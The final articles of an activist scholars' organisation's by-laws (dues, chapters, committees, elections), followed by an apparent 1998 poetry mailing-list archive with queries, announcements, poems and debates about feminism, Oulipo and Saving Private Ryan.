Annual dues shall be paid according to the following schedule:

Student/low income: $10 per year

Others with incomes below $40,000: $25 per year

Those with incomes of $40,000 or above: $40 per year

Section 2: Modifications Said dues may be modified in any given year by vote of the Steering Committee, provided that the change of dues for any member is not made effective until the end of that member's membership year.

Section 3: Allocation of dues money If a member is recruited by a chapter, the new member may request that 25 percent of the dues be allocated to the chapter. If a member is recruited by a regional organization, the new member may request that 25 percent of the dues be allocated to the region. Members may designate money to both chapter and regional organizations, in which case only 50 percent of their dues will be for the national organization. If members do not explicitly designate money for the chapter or region, all dues will be for the national organization.

Article V: CHAPTERS

Chapters shall consist of any geographically based group of 10 or more members who constitute themselves as a chapter and plan or carry out a collective action or project. Chapters may take positions, issue statements and endorsements in their own name, but not in the name of the regional or national organization. Each chapter shall be entitled to elect one representative to the steering committee. Article VI: REGIONS The Steering Committee may determine the geographic boundaries of regions, up to a maximum of six regions. Regions shall consist of geographically based groups of 100 or more members who constitute themselves as a region and hold a meeting, conference, or action open to all members of the region. Regions may take positions, issue statements and endorsements in their own name, but not in the name of the national organization. Each region shall be entitled to elect two representatives to the steering committee. Regions may, by a majority vote of the membership, decide on such regional officers and governance procedures as they deem appropriate, subject to acceptance and certification by the Steering Committee.

Article VII: ACTIVIST NETWORKS

Activist networks shall consist of any group of 10 or more members, united by an interest in an issue, who constitute themselves as an activist network and plan or carry out a collective action or project. Activist networks may take positions, issue statements and endorsements in their own name, but not in the name of the regional or national organization. Each activist network shall be entitled to elect one representative to the steering committee.

Article VIII: ANNUAL MEETING

SAWSJ shall hold a meeting, open to all members, at least once each year, to discuss issues of common concern, debate and vote on resolutions, and elect

leadership. A vote open to the entire membership shall be the highest decision making authority of the organization.

Article IX: STEERING COMMITTEE

Section 1: Composition

The Steering Committee shall consist of elected Chapter Representatives, elected Activist Network Representatives, elected Regional Representatives, national officers, and elected members of the Coordinating Committee.

Section 2: Terms of Service Members of the Steering Committee shall serve terms of two years and may be re-nominated and re-elected, except that during the first year the Steering Committee shall, by random lot, designate half its members for one-year terms, in order to provide staggered terms thereafter.

Section 3: Meetings The Steering Committee shall meet at least once each year, and may, by decision of the Steering Committee or the Coordinating Committee, meet more frequently. Meetings of the Steering Committee shall be announced in advance, and all members of SAWSJ shall be able to attend and observe meetings, unless by a two-thirds vote the Steering Committee decides to go into executive session.

Section 4: Authority The Steering Committee shall have authority on all matters of policy, management, and control of the organization's affairs and property, with full power to transact its business and to do and perform all things necessary to be done in order to carry out the purposes of the organization, subject only to the final authority of votes of the entire membership at the annual meeting or by such other means as shall be determined by the Steering Committee.

Article X: COORDINATING COMMITTEE

Section 1: Coordinating Committee The Coordinating Committee will consist of eight members, will select from its members the Chair or Co-Chairs, Treasurer, and Secretary, and will develop its internal division of responsibility. Coordinating Committee members will be elected by open vote of the entire membership, or, in case of a vacancy, by vote of the Steering Committee.

Section 2: Terms of Service

Members of the Coordinating Committee shall serve one-year terms and may be re-nominated and re-elected.

Section 3: Meetings The Coordinating Committee shall meet whenever necessary to conduct the business of the organization, in person or by such other means as it may decide. Meetings of the Coordinating Committee may be

called by either of the National Co-Chairs, or by a petition signed by half the members of the Coordinating Committee. To the extent reasonably possible, meetings of the Coordinating Committee shall be announced in advance, and all members of SAWSJ shall be able to attend and observe meetings, unless by a two-thirds vote the Coordinating Committee decides to go into executive session.

Section 4: Authority The Coordinating Committee shall have authority on such matters of policy, management, and control of the organization's affairs and property as are designated to it by the Steering Committee, with full power to transact the organization's business and to do and perform all things necessary to be done in order to carry out the purposes of the organization, subject to the authority of the Steering Committee and to votes of the entire membership.

Article XI: NOMINATIONS

Section 1: Nominations Committee The Steering Committee shall elect a Nominations Committee to consist of at least six members (who may or may not be members of the Steering Committee), of whom at least half must be women and at least half must be people of color.

Section 2: Candidates Selected by Nominations Committee At least six weeks prior to elections, the Nominations Committee shall prepare and circulate to the entire membership a list of candidates for officers, coordinating committee members, steering committee members, and such other positions as are open for election. The aim and intent shall be to select two candidates for each position, in order to guarantee contested elections.

Section 3: Open Nominations Any additional candidate may qualify for the ballot by submitting a petition to the Nominations Committee, containing the names of 10 or more members in good standing who support the person's candidacy. Such petitions must be received at least two weeks prior to the elections, unless this rule is waived by vote of the Steering Committee or by a vote of the entire membership at the annual meeting.

Article XII: ELECTIONS

All members in good standing are eligible to vote. Voting may be conducted at the Annual Meeting, or by mail (including email) ballot. The choice of election procedures shall be decided by a vote of the entire membership or by a vote of the Steering Committee, if the membership votes to designate this authority. If no candidate for an office receives 40 percent or more of the vote, a run-off election shall be held between those candidates with the highest vote totals.

Article XIII: STAFF

The Coordinating Committee may hire such staff as it deems appropriate to conduct the operations of the organization.

Article XIV: ADVISORY BOARD

The Steering Committee may select an Advisory Board, and may determine its rights, privileges, and obligations.

Article XV: AMENDMENTS

These by-laws may be amended, rescinded, changed, or supplemented at any time by a majority vote of the entire membership. Proposals for revisions of these by-laws may be placed on the ballot by a majority vote of the Steering Committee, or by means of a petition signed by 25 or more members in good standing. _____

VI. HOW TO JOIN SAWSJ

To become an individual member, send your name, institutional affiliation, mailing address, phone, fax, and email, along with a check, to:

Scholars, Artists, and Writers for Social Justice
2565 Broadway #176
New York, NY 10025

Dues are $10 for student/low income, $25 for others with incomes below $40,000, and $40 for those with incomes of $40,000 or above.

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672. **raea100900**
Re: Directory Assistance
Fri 24 Jul 1998

Hi again-

Does anyone know where or how I can reach Harryette Mullen? I've tried calling her home in L.A. with no luck. I don't have an e address.

Rae Armantrout

↑ Index

673. **Elizabeth Treadwell**
Re: postwomen+ (or is not equal to) speculative equations
Fri 24 Jul 1998

Dear Linda, if my post is fecund am I a girlywoman?

responding about
>
>www.pfplayground.com
>
>I felt I was dismissive of POSTFEMINIST PLAYGROUND -- which I honestly
>hadn't looked at for quite a while -- great graphics!, very smart with a
>current essay by DODIE BELLAMY that's cool. Part of what IS attractive is
>the "no more victims/no more apologies" angle. But I really felt when I'd
>met Lily James and Susannah Breslin (at a Conference (of all places) over
>2 years ago), who were powerful presences, that they were sort of
>forging onward somewhat narrowly. PFPlayground has grown into something
>major & I appreciate they're grappling with Post-Femininsm, though it's
>not quite what I have in mind . . .
>
>Elizabeth, as the archives aren't arranged by author, what's the shortcut
>to some of your stuff?

Since you asked I will say! Go to "Dick Search" (!) and type my last name--my favorite things are of course my own fiction: "The New Slut Feminism" and "The Resulting Claire". There is also up some memoir and a review I did of Lynne Tillman's work (Its named "Lit Squad Has A Fling") & yes the Dodie B. article is great - I was happy to see it there.

As to your concerns/troubles with the site and its focus, I don't feel totally comfortable responding in public as Lily, Susannah & Joshilyn Jackson (who took over for Susannah in January) are dear to me. Lily & Joshilyn have fiction in Outlet 1 & 2...Lily has a book out from FC2 called _The Great Taste of Straight People_, and it will be clear as (if) you read Joshilyn's story in Outlet 2 (Outlet 2 also featuring Linda Russo!) that she does have what might be considered 'more political? more Feminist?' concerns, too.....Their use of humor is great, I think, and the intended audience is.....not this list?

I'm also impressed with Lily's critical cyberedge. As for the tittygirl illustrations, yes its strange, in the New Slut Fem, my narrator is chubby, in the illustration, she's.....Cindy Crawford with glasses on? But shit, its up and illustrated, what can I say? ANd Susannah's editing helped bring out the story, too, which was written years ago originally.

So now I've admitted everything. and one mor ething-

This month I wrote an article for them featuring a condom at their request as an attempt was being made to get a condom company to sponsor the site---crass commercialism? & maybe MARX (or at least the 'economy') comes (!)(excuse me) in here: I know years ago this would have made me sick, but then years ago I thought MFA programs were ridiculous, now I've attended one, and now I've

written an article to try for a sponsor....not my main goal, but an interesting exercise (would you be pleased as an executive to read of a boy's 1st-sex condom being found a month later under a Converse tenny, full of maggots?)

> *The world we live in is*
> *so gendered, & though there's a lot of wonderful blurriness, there's still*
> *those two extremes. Am I referring to "man & wife"? or Christian*
> *Fundamentalism and The Gap?*

Or the House of Dior and Ann Demuelsteer (SP!)?

Is the Waldrop quote from '78 or '88?

Todd thanks for the lovely poem(s)!

Elizabeth

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

674. Carla Billitteri
Re: postwomen+ (or is not equal to) speculative equations
Fri 24 Jul 1998

On Fri, 24 Jul 1998, Elizabeth Treadwell wrote:

> *Dear Linda, if my post is fecund am I a girlywoman?*

Funny but I was just wondering about this ... "fecund"
sounded somewhat horrid in relation to Elizabeth's post ...

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675. Susan Wheeler
Re: Party
Fri 24 Jul 1998

Chris, the best intentions. . .
Sorry. We're both flatout. But I wish you much revelry!

XOX

At 03:20 PM 7/23/98 -0400, you wrote:
> Just wanted to remind people again that I and Gary Sullivan are
> having a roof party (not to be confused with ROOF BOOKS; though

> people with ROOF BOOKS are invited) tomorrow night. Friday 7/24...
> We will be UNDER the roof it it rains.....in Brooklyn, NY....
> Anybody in the NYC area (or "just visiting") is welcome to
> attend. Backchannel for directions, etc.....
> chris stroffolino
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

676. **Maria Damon**
Re: queries
Fri 24 Jul 1998

---

thanks to all all all who responded in various ways to all these queries. 5:17 AM's mighty early; i think i'm discovering a secret to great productivity. whether i can emulate it; who knows

At 5:17 AM -0700 7/24/98, Douglas wrote:
>Maria, accordingly to my editor, Guy Bennett
>an Oulipo group (new and old) still meet in Paris
>quite often and read their work.
>
>Douglas
>
>Maria Damon wrote:
>>
>> are there surviving members of the Oulipo group and do they still meet in
>> paris? inquiring minds need to know

↑ Index

677. **toddbaron**
Re: Directory Assistance
Fri 24 Jul 1998

[redacted] wrote:
>
> Hi again-
>
> Does anyone know where or how I can reach Harryette Mullen? I've tried
> calling her home in L.A. with no luck. I don't have an e address.

>
> Rae Armantrout
Rae:

I'm afraid I've only been able to reach her
through her dept. at UCLA--
but that's been awhile. Douglas might/must
know.

↑ Index

678. **Simon DeDeo**
Re: rhyme & reason
Sat 25 Jul 1998

I apologize for the earlier posting with the subject
above -- somebody decided to be awful funny and send
mail in my name.

I hope all is well with the listfolk,

Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

679. **MAYHEW**
I dislike chilled soups
Sat 25 Jul 1998

I dislike chilled soups
as a general rule
for you I'll glady make an exception
given your penchant for assassination

As a general rule
I sleep only on Thursdays
Given your penchant for assassination
I'll give up even this small pleasure

I sleep only on Thursdays
Such is the limit of my wit
I'll give up even this small pleasure
a tax levied on my mere existence

Such is the limit of my wit
A vaster corral would require too much effort
A tax levied on my mere existence
equal to 150 pounds of flesh

A vaster corral would require too much effort
I am unaccustomed to mental labor
equal to 150 pounds of flesh
A calculation foreign to my nature

I am unaccustomed to mental labor
I dislike chilled soups
a calculation foreign to my nature
For you I'll gladly make an exception

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

680. MAXINE CHERNOFF
Query
Sat 25 Jul 1998

For a piece I'm researching, I'm trying to find out who on the Wesleyan University Press Board of Advisors (assuming there is one) is responsible for the more experimental choices on their list: Howe, Retallack, Scalapino, Perelman, etc. Please back-channel.

Maxine Chernoff

↑ Index

681. Elizabeth Treadwell
*Yedda Morrison's _The Marriage of the Well Built Head_*
Sat 25 Jul 1998

_____ Double Lucy Books is proud to announce the publication of Yedda Morrison's first collection, _The Marriage of the Well Built Head_. Staple bound, 40 pp., $3.

Yedda Morrison co-edits TRIPWIRE: A POETICS JOURNAL. Her work has appeared in Mirage #4 Period(ical), Outlet, & elsewhere.

********* Outlet (2) Fairyland will be available in the first part of September.
Work by Tan Lin, Michelle Murphy, Todd Baron, Linda Russo, & others.
****

please make checks payable to E. Treadwell.

_____
Many thanks to those of you who've already ordered Yedda's book - your copies are in the mail!
And thanks also to those of you who've subscribed to Outlet - your copies will arrive in September.

ET

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

682. **toddbaron**
Re: Yedda Morrison's _The Marriage of the Well Built Head_
Sat 25 Jul 1998

Odering up!

I'll send the check asap
and look forward to the book.

Your name is popping up in many conversations
of late--Noah and others up there.
Double Lucy ! etc!

best of all,

Todd Baron

2860 exposition blvd
#A
santa monica ca 90404

ps: I'm going to send you a manuscript--and I knwo
you don't have time to read it--but I
want to give you a copy not only
for "consideration" but for a "gift"
or such--I think you'll like the work
and I really want to have folks

read this body of work--and discuss it
when we can..etc.

↑ Index

683. **Alan Jennifer Sondheim**
Kathy's Diary (last of 2 installments)
Sat 25 Jul 1998

-

Kathy's Diary (last of 2)

In Kathy's diary/epistolary material, she also said that the idea of us completely knowing each other stunned her; she thought there were a lot of ways we were alike, and talked about our fantasies in relation to each other. She said she didn't quite understand what was going on, and I re- member feeling the same way myself.

She was working on a book at the time, this was when she was calling her- self The Black Tarantula, publishing under the name. I was involved in her thinking. Our thinking about each other was intertwined, inseparable. I can't think of a gap; we filled each other's spaces. She wanted us to send each other as much information as possible about each other, in varied media, so that we could continue along these lines. She mentioned Vito Acconci, saying the kind of intimacy he explores in his work, she had never seen done between two people who were both subjects and objects. She thought all of this would make an incredible work as well. I thought and still think that Vito's exploration wasn't all that risky, but articulated so as to appear so, without props; the props in fact provided the frame- work, moving the periphery towards the center. But that wasn't clear until much later.

She thought I was more systematic in my exploration than she was; is that true? Certainly I pick up and drop systems like water, like there's link- ages surrounding the gasp of the earth's equator - but then these same systems become corroded by desire, tend to fray/stare at one from the edges where I reside. I was residing there at the time. A bit later we were making tapes together, worlds falling apart, and as the content of one of the tapes indicated, I was reading Norman O. Brown's Love's Body at the time. I just found the book again.

Kathy thought my work could profit from the intimate sexual concerns of hers - perhaps it has. Certainly the tape we did was the farthest I've been able to stretch my body, on the operating-table so to speak, of both semiosis and psychosis. I could but won't speak towards her state of mind at the time, from what she said. But this was later. Now, she was writing to me before that, asking whether I would collaborate with her, speaking of her fanaticism in relation to

what she was doing - I certainly shared (and share) that aspect of her psychology.

Now I'm intertwined with this text, which on my part within it, still re- flects concerns I've never figured out, in the sense of a figure or trope, those moments which become signs or ghosts in the very background of our being. They remain there just as these letters and diary have accompanied me; would that they were published, but who is to say concerning the Estate, and to what extent would I want to give up the paraphrase for the real?

And am I living through text, and if so, whose?

↑ Index

684. MAXINE CHERNOFF

*Re: Yedda Morrison's _The Marriage of the Well Built Head_*

Sun 26 Jul 1998

Haven't seen Yedda's book yet, but she's a terrific writer.

Maxine Chernoff

On Sun, 26 Jul 1998, toddbaron wrote:

> *Odering up!*
>
> *I'll send the check asap*
> *and look forward to the book.*
>
> *Your name is popping up in many conversations*
> *of late--Noah and others up there.*
> *Double Lucy ! etc!*
>
> *best of all,*
>
> *Todd Baron*
>
> *2860 exposition blvd*
> *#A*
> *santa monica ca 90404*
>
> *ps: I'm going to send you a manuscript--and I knwo*
> *you don't have time to read it--but I*
> *want to give you a copy not only*
> *for "consideration" but for a "gift"*
> *or such--I think you'll like the work*
> *and I really want to have folks*
> *read this body of work--and discuss it*

> *when we can..etc.*

↑ Index

685. **david bromige**
hugh steinberg's e-whereabouts
Sun 26 Jul 1998

Anyone having an up-to-date e-ddress for Hugh please b-c me with it?

[redacted] is no longer valid, it seems. Thanks, David

↑ Index

686. **raea100900**
Re: Poetry Daily
Sun 26 Jul 1998

Hi all again,

This is the most I've ever posted to the list. I don't know that this matters to anyone else, but I got the folks at www.poems.com to post my full poem (instead of just the second half) starting Monday. So if anyone would like to see the whole thing, it'll be there under Saturday's poem.

Rae Armantrout

↑ Index

687. **Rachel Levitsky**
Re: For J. Mayhew
Sun 26 Jul 1998

Coney Island
after Cesar Vallejo

I'll die drinking
I remember it already
in Paris, slow, maybe Peoria, or Brooklyn
on a Thursday, like today, in fall or

I'll die on a Thursday, maybe today,
thursday promises poems while the
bad humors pass me by
to join other bad and, like never before,

I have returned
with all my cards, my ways

and means, and smiles
to see myself alone.

You see I have died,
they fought me
I did nothing--they gave it to
me hard with a stick and hard

With a story;
without testimony
on Thursdays, bleached bones

solicitude, stone stoops, the rides. . .

↑ Index

688. **Rachel Levitsky**
Re: oulipo howlipo whylipo wherelipo
Sun 26 Jul 1998

For Maria et al belated,

In April Harry Mathews was at DU Denver. He said Oulipo is wildly popular these days, attracting crowds in the hundreds to their readings. And by the way, since the question was asked, about women, a question that was on my mind as Harry was discussing the strict application of rules and limitation. I asked Harry if he thought the method appealed to men more than women. He scowled and asked me if I ever watched a game of hopscotch.

I never was any good at hopscotch, or jacks, for that matter.

From one who thinks rules are at their best when they are judiciously broken.
--rdl

(p.s.--I'll be off for a week or two on the road back home to B'lyn--A. Hollo, L. Wright, P. Pritchett, M. DuCharme, D. Rogerson-- I'll miss you terribly)

Fredrik Hertzberg LIT wrote:
>
> On Thu, 23 Jul 1998, Mark Prejsnar wrote:
>
> > men*...Can anyone indicate if they ever eventually had a woman member? (or
> > two?)
> >
> > Mark P.
> >

>
> The following list can be found online somewhere under
> http://www2.ec-lille.fr/~book/oulipo/ - a good Oulipo-site, French. There
> seems to be at least one female member. Fred
>
> Noël Arnaud - président - membre
> fondateur
> Marcel Bénabou - secrétaire
> définitivement provisoire
> Jacques Bens - membre fondateur
> Claude Berge - membre fondateur
> André Blavier
> Paul Braffort - premier membre élu
> Italo Calvino [décédé]
> François Caradec
> Bernard Cerquiglini
> Ross Chambers
> Stanley Chapman
> Marcel Duchamp [décédé]
> Jacques Duchateau - membre fondateur
> Luc Etienne [décédé]
> Paul Fournel - secrétaire
> provisoirement définitif
> Michelle Grangaud
> Jacques Jouet
> Latis [décédé] - membre fondateur
> François Le Lionnais [décédé] - président fondateur
> Hervé Le Tellier - trésorier
> Jean Lescure - membre fondateur
> Harry Mathews
> Michele Métail
> Oskar Pastior
> Georges Perec [décédé]
> Raymond Queneau [décédé] - fondateur
> Jean Queval [décédé]
> Pierre Rosenstiehl
> Jacques Roubaud
> Albert-Marie Schmidt [décédé]

↑ Index

689. **Orpheus**
Poets
Sun 26 Jul 1998

Poetry, don't you start telling me about poetry. I know all about poetry, thank you very much [he said with a sort of bull-snort].

But let me tell you this.

There's no obligation to accept society or women or religion or

anything else, not for anyone there isn't.

As for poetry, that's a job for anarchs.

Poetry's made by rebels and exiles and outsiders, it's made by

people on their own, not sheep baaaing bravo to any Pope.

Poets don't need religion and they don't need bloody little

cocktail-party gossip either; it's they who make language and

make myths. Poets don't need anybody except themselves.

[Undisclosed source]

let me add to list of things Poets don't need:

theories, and any form of dogma of the left or right.

The great poet Tristan Tzara was a leftist all his life.

But he never kissed the ass of any Stalinist. In fact,

there was fist fight at his funeral. Between some

lettrists and some dogmatic Stalinists. And I am not running down Stalin, and I am not running down the Pope, any more than I would run down

the Dalai lama. All these contemporary leftists type autmatically assume that being Christian, patriarchal makes one an idiot. Well friends, Paul Virilio is a christian, and so was Grahame Greene. One does not have to accept any or not even some of the premises of any movement to be a good, great or special poet. IT is all very individual. L.F. Celine was a pretty bad politican in my books, but he was a great novelist.

PD James portrays a type of man and poet which you seem to think

is mediocre. Oh well. What is mediocre? Anything which disagrees

with a leftist politics. Balderdash is what we say. Politics like poetry should be a porocess of constraint and movement. Not dogma and not a dogma riddled with some blather based on a fickle and badly digested Lacan-ism. That is not a typo. Ism the ism of justifications.

Pah! I have sung 'theory' in three countries.

And the hexagram says: Let It Go.

last but not least if you going to attack orpheus then do so properly. In Lacanian 'thought and doctrine' the penis as you so prudently refer to the male

cock is not the Phallus. You can go read that. And see. Not that I am especially interested in that sort of pyscho-analytic gibberish But you shld. know the difference. BEcause I am no fan of Lacan. I prefer Duns Scotus, James Joyce, Milton, HD, Plath, Everson, and hosts of others.

Adam Dalgliesh is something you cannot understand. Because you imagine that poetry is associated with virtue. I mean a circle of virtue which you associate with the left I suppose. Dalgliesh is just part of the English poet image as establishment figure. But if your politics are so paranoid that you cannot imagine beyond that, well then you beyond reprieve. After all, so many great poets are of the right and conservative. In fact it seems that all the American poets who everyone now declares great, were men whose politics was either informed by a Christian view point, and or men whose politics was conservative at one level or another.

Long Live the fictional Adam Dalgliesh.

I love the sound of Dalgliesh.

One thinks of Hopkins, and Donne and Shakespeare.

As close to the establishment of their times

as a man can get and still sing and bring home the bacon.

↑ Index

690. Tosh

Inagaki Taruho

Sun 26 Jul 1998

Right now I am in the middle of reading Inagaki Taruho's "One Thousand and One-Second Stories" published by Sun & Moon. My wife (who is Japanese) have been raving about this writer for some time to me. This Japanese writer is a combination of fairy tale meets sophisticated urban life meets slapstick. Most of these stories I believe were written in the Thirties and Twenties.

If you are familar with Edogawa Rampo, Taruho is a 'lighter' version of Rampo's dark sexuality and horror. And I wanted to mention this title because one - our friend Douglas published it, and two the images are hauntingly (is there such a word) poetic in its language and imagery.

ciao,
Tosh

Tosh Berman
TamTam Books

↑ Index

691. **Alan Jennifer Sondheim**
Re: Inagaki Taruho
Sun 26 Jul 1998

I do get to second this as well; it's a wonderful book straight out of Meiji era I think although much later than that, owes to Melies as well, lots of Mr. Moon falling just about everywhere! And I don't even have _any_ friend named Douglas!

Alan

On Sun, 26 Jul 1998, Tosh wrote:

> *Right now I am in the middle of reading Inagaki Taruho's "One Thousand and One-Second Stories" published by Sun & Moon. My wife (who is Japanese) have been raving about this writer for some time to me. This Japanese writer is a combination of fairy tale meets sophisticated urban life meets slapstick. Most of these stories I believe were written in the Thirties and Twenties.*
>
> *If you are familar with Edogawa Rampo, Taruho is a 'lighter' version of Rampo's dark sexuality and horror. And I wanted to mention this title because one - our friend Douglas published it, and two the images are hauntingly (is there such a word) poetic in its language and imagery.*
>
> *ciao,*
> *Tosh*
>
> ---
> *Tosh Berman*
> *TamTam Books*
> ---

↑ Index

692. **KENT JOHNSON**
Saving Private Ryan
Mon 27 Jul 1998

I saw this movie yesterday and am still thinking about it somewhat confusedly. Very powerful, a work of cinematic genius in the battle scenes, no question, but disturbing, it seems to me, in its broader, potential impact on the culture (i.e. Will it help make U.S. police actions against "non-democratic" states more attractive to the public? Will it help set the stage for patriotic rally around our soldiers who are willing to put up with, and rise to--like the heroic, play-calling,

and Emerson quoting quarterback Captain Miller--so much visceral violence?). I'm not sure here... The treatment of the American soldiers (though not the Germans--they are pretty much all bad guys and, suggestively, through the temporarily captured one, plain despicable) is quite moving, and one senses what the U.S.veterans of WWII, Korea, and Vietnam must feel about not being fully understood in regards to the horrors they endured. Wondering what people think about this movie? Or are _all_ the critics right that it's a wonderful movie through and through? Is this the best treatment we can get of the "good war"?

And actually, if I may ask,what do people on this List think? Was it a "good war"?

Kent

↑ Index

693. **louis stroffolino**
Re: John Yau's MY SYMPTOMS
Mon 27 Jul 1998

Dave Baratier asks what "cross-gendered identification" is.
I guess I just meant the term simply (if loosely) to mean
when someone of one gender and/or sex adopts or takes on
the voice of someone of another gender and/or sex....
I didn't say that YAU was NEW for doing that....
but then "make it new" has never been much of a standard for me
(see Mike Magee's intro to his mag COMBO for a view I largely share)

Karen Kelley. COuld you tell me which particular piece of Yau's was in First Intensity? My hunch is you're talking about a piece called BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know more specifically before I respond....Because I'm curious about what you mean by "stereotypical" and why you think the piece you read is so..... Thanks, chris stroffolino

On Thu, 23 Jul 1998, Karen Kelley wrote:

> *I recently read something of Yau's in a mag--was it First Intensity? I'm sorry--I can't recall, but it was perhaps from the new book & was the narrative of a stripper & I found it rather disturbing in that the narrator was kind of dumb & angry & thought highly of her breasts (no prob with that in & of itself) & little of men in general--she was kind of a jaded line drawing of a woman--with the interior monolog of a stereotype, which I suppose is okay, though as this thread goes to show, the whole male/female or masc/fem question is much more complex than Yau's piece implied, and I guess I just felt annoyed that he was willing to throw another stereotype my way.*

louis stroffolino wrote:

> *Has anybody here read Yau's new Black Sparrow book?*
> *In it, there is much "cross-gendered identification"*
> *that---though it is written by a male--seems to, er,*
> *"rupture patriarchal discourse" and could serve as*
> *a complement to, say, Carla Harryman who also engages*
> *in "cross-gendered" identification. I think Yau does*
> *a very good job at trying to speak AS woman "other"*
> *and negotiating the representational anxieties that*
> *might attend the "presumption" of such a task.....*
> *but would be very interested to hear opposing views....*
> *chris stroffolino*

On Wed, 22 Jul 1998, Linda Russo wrote:

Rah rah.

I'm glad to see Safdie Joseph annoyed with the
"position" that feminism had seemed to put Todd in (in reading the
original post, before Todd's brilliant comeback) -- as
an apologist. Elizabeth Treadwell makes the same point as well (though I
have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so
many with physical bodies to feel they have to apologize for some
appendage or other. I'm intrigued by the problems women (and other
'others') face in trying to enter the current the forums/debates etc.
-- very material problems (as Woolf pointed out early on) rooted in
patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting
more and more challenging writing published, to continue framing
experiment as a rupture of "patriarchal laws" (Kristeva's argument; what
Woolf recognized as "convention," what Bernstein has called "populist
realism" etc) -- to recognized that oppression is at work, even that
gender oppression is at work, but to quite calling the
counter/re/active strategies "feminine"! or to call it feminine and stop
stop linking this to (women's) biology! Or we all really do have the
Anxiety of Influence -- we're all a bundle of nerves!

Until we get some intelligent conversation going
to reframe the issues (and reframe them for feminist literary scholarship)
we're going to be beaten over the heads with said appendages. (Not that it
isn't out there -- Judith Butler, for example -- But to what extent has it
made its way into contemporary poetics discussions?)

Todd's comeback:

> *being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

↑ Index

694. **izak**

Re: Saving Private Ryan

Mon 27 Jul 1998

I haven't actually seen the movie, but I've heard that there are no African American or Chicano soldiers shown in any of the larger battle scenes. Strange since Spielberg claimed to try and make this movie as close to reality as possible and quite a large number of the soldiers that fought in WWII were African American and Chicano or Latino.

-Joanna Sondheim

****

"It does not behoove me to make myself smaller than I am." -Edith Sodergran

****

↑ Index

695. **david bromige**
Re : Saving Private Ryan
Mon 27 Jul 1998

Kent, I havent seen this movie yet, & may never. (I have spent much time imagining combat, from what I knew of physiology and from what books tell, among earliest memories being _The Great War Illustrated_ , which I discovered in a closet under the stairs where we took refuge (?) during a buzzbomb attack in WW2.) Here, I am only interested to cope with your question, was WW2 a 'good' war? The only way I can answer that is to say that were the exact historical conditions to obtain today, it would need to be fought and I would feel impelled to take part. David

↑ Index

696. **ShaunAnne Tangney Humanities**
Re: Saving Private Ryan
Mon 27 Jul 1998

On Sun, 26 Jul 1998, KENT JOHNSON wrote:

> *I saw this movie yesterday and am still thinking about it*
> *somewhat confusedly. Very powerful, a work of cinematic genius in the*
> *battle scenes, no question, but disturbing, it seems to me, in its*

*****

> *Wondering what people think about this movie? Or are _all_ the*
> *critics right that it's a wonderful movie through and through? Is*
> *this the best treatment we can get of the "good war"?*

admitedly, i haven't seen the movie (and probably won't) but i loved what the guy on NPR (sorry, can't remember his name) said: that the problem w/ the movie was that we could still see "little stevie spielberg" behind the curtin, pulling all the levers.

will the movie "do any good"? well, here's a bit of dialogue from the pen of kurt vonnegut, many years ago:

"Is it an anti-war book?"
"Yes," I said, "I guess."
"You know what I say to people when I hear they're writing an
anti-war book?"
"No. What _do_ you say, Harrison Starr?"
"I say, 'Why don;t you write an anti-_glacier_ book instead?"

i was thinking about this "will it do any good" question just this weekend, actually. i saw a clip of an interview w/ spielberg saying that he wanted everyone to

understand "the horrors of war" and then, chanel-surfing, i happened upon the defense dep't (remember when it was the war dep't?) press conference about the CNN/Time story about using agent orange on AWOL soldiers in laos. one of the def. dep't guys said that "according to the records" one of the former soldiers who said he was in laos never was there--and i thought to myself, "jesus christ! 'according to records'?! who is this guy kidding?! if it was a secret mission, would there be any records?! i mean, hasn't this guy even seen _apocalypse now_?!"

will it do any good? did _the best years of our lives_? did _coming home_? did the poetry of sigfried sassoon? did _catch-22_ or _going after cacciato_?

--shaunanne

↑ Index

697. **Gary Sullivan**
Re: Saving Private Ryan
Mon 27 Jul 1998

> *will it do any good? did _the best years of our lives_? did _coming home_? did the poetry of sigfried sassoon? did _catch-22_ or _going after cacciato_?*
>
> *--shaunanne*

Someone reads that stuff & is changed by it ... maybe not the culture-as-a-whole ... but "some people" ... _Catch-22_ adds to the dialogue ... so we have something, there, to put eye to & finger on ... other than say "yellow ribbon = support the troops" ... or "loose lips sink ships" ... we have, for instance, Slaughter-house 5 ... which I read when very young ... & it did make a difference ... so did Deer Hunter ... opposition needs to be articulated ... in whatever medium ... otherwise?

↑ Index

698. **Mark Weiss**
Re: Saving Private Ryan
Mon 27 Jul 1998

In the segregated army of WW II black soldiers served in separate units, none of which, as I remember, saw action on D-Day, although they were active elswehere in the European theater.

At 01:58 AM 7/27/98 -0700, you wrote:
>I haven't actually seen the movie, but I've heard that there are no
>African American or Chicano soldiers shown in any of the larger battle

>scenes. Strange since Spielberg claimed to try and make this movie as
>close to reality as possible and quite a large number of the soldiers that
>fought in WWII were African American and Chicano or Latino.
>
>-Joanna Sondheim
>
>
>
>**********
****
>"It does not behoove me to make myself smaller than I am."
>-Edith Sodergran
>**********
****
>
>

↑ Index

699. Alan Jennifer Sondheim
Re: Re : Saving Private Ryan
Mon 27 Jul 1998

I worked on a reply, discarded it; and can only say that I agree with David, although there are no good wars.

I have difficulties with "good" and "bad" as well, not believing in any transcendent metaphoricity that would garner such divisions; which places me in the camp of Tertullian I suppose. And I would have gone as well.

Alan

